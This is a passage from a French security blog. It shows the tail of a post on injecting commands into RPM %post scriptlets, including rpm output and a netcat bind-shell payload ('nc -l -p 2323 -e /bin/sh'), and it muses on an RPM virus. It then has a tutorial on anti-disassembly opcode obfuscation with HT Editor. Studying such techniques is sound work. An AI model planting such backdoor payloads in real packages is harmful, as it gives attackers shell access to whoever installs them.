Injection done !

# rpm -Uvvh netcat-0.7.1-1.i386.rpm
D: ============== netcat-0.7.1-1.i386.rpm
D: Taille attendue:       123940 = tête(96)+sigs(344)+pad(0)+données(123500)
D: Taille actuelle:       123940
(...)
########################################### [100%]
(...)
D:   install: %post(netcat-0.7.1-1.i386) asynchronous scriptlet start
D:   install: %post(netcat-0.7.1-1.i386)        execv(/bin/sh) pid 6732
+ /sbin/install-info /usr/share/info/netcat.info.gz /usr/share/info/dir
+ touch /tmp/stuckhereagain
(...)

:)
On obtient une très belle backdoor (dans le cas du RPM de netcat) si on fixe le payload à ";nc -l -p 2323 -e /bin/sh&".

Il doit être possible de faire un virus RPM, en injectant l'injecteur lui-même (après quelques retouches) et en fixant l'interpréteur à python. En utilisant le champ réservé vu au tout début de l'article on pourrait aussi marquer les RPM déjà infectés.

Obfuscation simple de code avec HT Editor

Rédigé par devloop - -

Quand on compile un code source (par exemple en langage C) pour en faire un fichier exécutable, le code subit différentes transformations.
Le code va notamment être transformé en code langage assembleur, un langage de bas niveau qui effectue des opérations simples sur les données en mémoire.
Ce code est ensuite transformé en langage machine en utilisant une sorte de table de correspondance définie par le processeur.

Chaque instruction est caractérisée par un numéro appelé opcode ou code opération. Ainsi, une instruction est simplement un groupement de bits -- différentes combinaisons correspondent à différentes commandes à la machine. La traduction la plus lisible du langage machine est appelé langage assembleur, qui est une traduction de chaque groupe de bits de l'instruction. Par exemple, pour les ordinateurs d'architecture x86, l'opcode 0x6A correspond à l'instruction push et l'opcode 0x74 à je (jump if equal).

Source: Wikipedia


Comme ces instructions ne font pas toutes la même taille et ne recoivent pas le même nombre d'argument, on ne peut pas lire le code binaire en le prenant n'importe où. Il faut partir du début du code et le lire linéairement, instructions après instructions.

Evidemment le langage assembleur permet de faire des sauts dans le code et lors de l'exécution du binaire, le processeur n'aura aucun mal à suivre les instructions. En revanche pour un logiciel désassembleur il est difficile d'analyser tous les branchements possibles et il va donc faire une lecture linéaire du code.

Une technique utilisée pour rendre l'analyse de code plus difficile consiste à fausser cette lecture linéaire par exemple un plaçant un saut inconditionnel immédiatement suivi de données anéatoires qui vont casser la séquence d'instructions.
Le processeur ne voit rien de choquant puisqu'en sautant sur le bon code il recale convenablement les instructions mais un désassembleur s'y cassera souvent les dents.

Pour notre exemple on va prendre un exemple très simple :
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
  int x;
  x=3;
  __asm__("nop\n\t");
  x=8;
  printf("%d\n",x);
  return 0;
}

Le code déclare une variable x et y assigne la valeur 3. x devient ensuite 8 et la valeur de x est affichée (8). Au milieu on a implicitement inséré des nops. Le nop est une instruction qui ne fait rien... si ce n'est prendre de la place dans le code (1 octet).

Le code généré par gcc est le suivant :

On voit clairement qu'à l'adresse 0x80483cf notre variable locale se voit affecter la valeur 8.
Notre objectif va être de dissimuler cette affectation pour qu'une analyse ne permette pas de déterminer la valeur affichée par printf à la fin.

On a seulement 3 octets (correspondants aux nops) pour insérer notre saut (jmp) ainsi qu'un octet pour décaler les instructions.
Une instruction jmp prend comme argument l'adresse vers laquelle elle doit se rendre. L'opcode associé peut varier selon que l'adresse soit relative ou absolue.

Exemple de jmp avec adresse absolue :
 80482e8:       ff 25 04 a0 04 08       jmp    *0x804a004

exemple de code qui utilise des adresses relatives :
 804836d:       74 0c                   je     804837b <__do_global_dtors_aux+0x1b>
 804836f:       eb 1c                   jmp    804838d <__do_global_dtors_aux+0x2d>
 8048371:       83 c0 04                add    $0x4,%eax
 8048374:       a3 14 a0 04 08          mov    %eax,0x804a014
 8048379:       ff d2                   call   *%edx
 804837b:       a1 14 a0 04 08          mov    0x804a014,%eax
 8048380:       8b 10                   mov    (%eax),%edx
 8048382:       85 d2                   test   %edx,%edx
 8048384:       75 eb                   jne    8048371 <__do_global_dtors_aux+0x11>
 8048386:       c6 05 18 a0 04 08 01    movb   $0x1,0x804a018
 804838d:       c9                      leave

Dans le cas des adresses relatives, l'opcode tient sur un octet et l'argument sur un octet aussi. C'est donc parfait dans notre cas.
Le jmp dans le code ci-dessus fait un saut de 0x1c. Ca correspond à l'adresse destination - l'adresse suivant immédiatement le jmp = 804838d - 8048371

Dans notre cas, après insertion du jump, il ne nous restera qu'un octet à sauter. Notre code pour le saut sera donc eb 01. L'opcode à insérer sur le troisième octet doit correspondre au début d'une instruction tenant sur plusieurs octets afin de s'assurer que la lecture linéaire du code va être cassée.
Un 83 qui correspond à l'instruction add convient parfaitement et va prendre la suite de notre code comme argument pour une addition.

Sous HT Editor on fait un F4 pour passer en mode édition. On se place sur les opcodes et on tappe eb01 puis 83.
On repasse en mode view avec F4 et on valide les changements. On sauve ensuite avec F2.
Le code est alors le suivant :

On voit bien notre valeur 8 dans le code hexadécimal mais celle-ci est interprétée comme une instruction or. L'affectation de notre variable x à la valeur 8 n'est plus visible.
A noter que le hazard a fait que notre code s'est recalé de façon à ce que le printf soit toujours visible.

Des désassembleurs comme objdump, ndisasm et même HT Editor s'y cassent maintenant les dents. La seule solution est de leur dire de prendre le désassemblage directement à l'adresse spécifiée par le jump :
objdump -d --start-address=0x080483cf /tmp/obfusc | head
ndisasm -e 975 -b 32 /tmp/obfusc | head

Notre exemple n'est pas très discret puisque le jmp tombe en plein milieu d'une instruction add.
En plus des désassembleurs plus évolués parviennent à détecter ces méthodes.

Tutoriel d'utilisation de HT Editor

Rédigé par devloop - -

HT Editor est un désassembleur et éditeur d'exécutables. Il est sous licence GNU GPL et est disponible pour Linux, *BSD et Windows.

Il y a peu d'attrait pour les désassembleurs sous Linux et la plupart ne sont pas simple d'utilisation (tout en ligne de commande par exemple). Cela peut s'expliquer par le fait que les programmes sous Linux sont généralement open-source et gratuits.

HT offre une interface en ncurse permettant de naviguer facilement dans le code, ce qui le rend bien plus agréable à utiliser que le vieux objdump. De plus il est capable de lire différents formats d'exécutables et permet de "switcher" entre différentes vues (hexa, assembleur, entêtes du fichier...)

Dans ce billet on va seulement se concentrer sur l'utilisation du logiciel (touches à connaître) pour naviguer facilement.

Lire la suite de Tutoriel d'utilisation de HT Editor

Classé dans : Non classé - Mots clés : malware